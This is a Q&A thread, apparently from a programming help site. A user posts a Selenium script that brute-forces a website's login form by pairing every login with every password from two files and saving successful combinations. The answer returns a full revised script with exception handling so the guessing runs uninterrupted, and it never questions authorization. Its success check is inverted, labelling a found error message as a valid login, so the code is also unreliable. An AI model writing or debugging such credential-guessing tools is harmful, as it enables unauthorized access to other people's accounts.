Check if Widget exists with Selenium

Asked

Viewed 2,089 times

0

I’m making a kind of bruteforce using Selenium, when I error the password and login, the message appears on the invalid login screen or password, if the message does not appear, ie correct login and password, I save the login and password in a file. It turns out that when the login and password are correct, Selenium does not find the error message, then falls into a traceback, and closes the application. I could not do the validation to continue running until find all passwords.

from selenium import webdriver
import time

arquivo_login = open("login.txt", "r")
arquivo_senha = open("senha.txt", "r")

lista_login = arquivo_login.readlines()
lista_senha = arquivo_senha.readlines()

print(len(lista_login))
print(len(lista_senha))

cont = 0

firefox = webdriver.Firefox()
#firefox = webdriver.Chrome()

for i in range (0, len(lista_login)):
    for j in range (0, len(lista_senha)):
        firefox.get('https://meusite.com.br/')
        login = firefox.find_element_by_name('login')
        password = firefox.find_element_by_name('passwd')
        cont = cont + 1
        print(cont, "- Login:", lista_login[i], " senha: ", lista_senha[j])
        login.send_keys(lista_login[i])
        password.send_keys(lista_senha[j])
        submit = firefox.find_element_by_id('Log_On')
        submit.click()
        time.sleep(2)

        if(firefox.find_element_by_id('errorMessageLabel').text == ''):
            print("Login inválido")
        else:
            arq = open("combinacao.txt","w")
            combinacao = []
            combinacao.append("Login:")
            combinacao.append(lista_login[i])
            combinacao.append("Senha: ")
            combinacao.append(lista_senha[j])
            arq.writelines(combinacao)          

arq.close()
arquivo_login.close()
arquivo_senha.close()

I use one file with X logins and another with Y passwords, then I test each login with each password, so far so good, the point is that I check through the error message on the site, but when the login is correct, the error message does not happen, and then generates an error and does not test the other items.

1 answer

1

You can treat the exceptions generated by Selenium if they are on a Try except.

One way to resolve this is to insert a Try except inside your for and send only an error message, so your Cod. won’t stop until it’s over.

Or better, you can insert only in the location where you are expecting the error.

In this case it stays that way:

from selenium import webdriver
import time

arquivo_login = open("login.txt", "r")
arquivo_senha = open("senha.txt", "r")

lista_login = arquivo_login.readlines()
lista_senha = arquivo_senha.readlines()

print(len(lista_login))
print(len(lista_senha))

cont = 0

firefox = webdriver.Firefox()
#firefox = webdriver.Chrome()

for i in range (0, len(lista_login)):
    for j in range (0, len(lista_senha)):
        firefox.get('https://meusite.com.br/')
        login = firefox.find_element_by_name('login')
        password = firefox.find_element_by_name('passwd')
        cont = cont + 1
        print(cont, "- Login:", lista_login[i], " senha: ", lista_senha[j])
        login.send_keys(lista_login[i])
        password.send_keys(lista_senha[j])
        submit = firefox.find_element_by_id('Log_On')
        submit.click()
        time.sleep(2)

        try:
            firefox.find_element_by_id('errorMessageLabel')
            print("Login válido")
            arq = open("combinacao.txt","w")
            combinacao = []
            combinacao.append("Login:")
            combinacao.append(lista_login[i])
            combinacao.append("Senha: ")
            combinacao.append(lista_senha[j])
            arq.writelines(combinacao)   
        except: 
            print("Login inválido")

arq.close()
arquivo_login.close()
arquivo_senha.close()

Browser other questions tagged

You are not signed in. Login or sign up in order to post.